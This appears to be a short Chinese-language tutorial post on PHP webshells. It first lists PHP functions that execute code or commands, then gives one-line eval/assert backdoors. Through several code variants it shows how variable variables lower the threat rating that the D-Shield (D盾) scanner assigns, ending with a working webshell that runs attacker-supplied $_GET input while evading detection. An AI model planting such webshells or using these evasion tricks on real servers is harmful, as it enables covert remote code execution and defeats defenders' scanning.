PHP常见的代码执行函数：
eval()
assert()
preg_replace()
create_function()
array_map()
call_user_func()
call_user_func_array()
array_filter
usort
uasort()
PHP常见的命令执行函数
system()
exec()
shell_exec()
passthru()
pcntl_exec()
popen()
proc_open()
常见的一句话
<?php eval($_POST['a']);?>
<?php assert(@$_POST['a']); ?>
可以看出直接就是5级eval后门，
如果把$_POST['a']换成一个变量，D盾的级别成了4级，如下图：
如果把$a在变为一个定义好的变量，级别就会变成1，所以是eval后门，因为参数的问题，D盾也有说明
所以，可以用可变变量，可变变量是一种PHP独特的变量，他允许动态改变一个变量的名称。故加入到一句话木马中
<?php
$a = 'qq';
$$a = $_GET['a'];
eval($ww);
?>
如图发现，说参数ww是未知内容了，那么直接在第一行定义一下ww试试
成了可疑eval，剩下的利用php相关的特性和连接符，或者注释符，即可绕过
<?php
$ww = "nice";
$a = 'ww';
$$a = $_GET['a'];
echo eval($ww);
?>
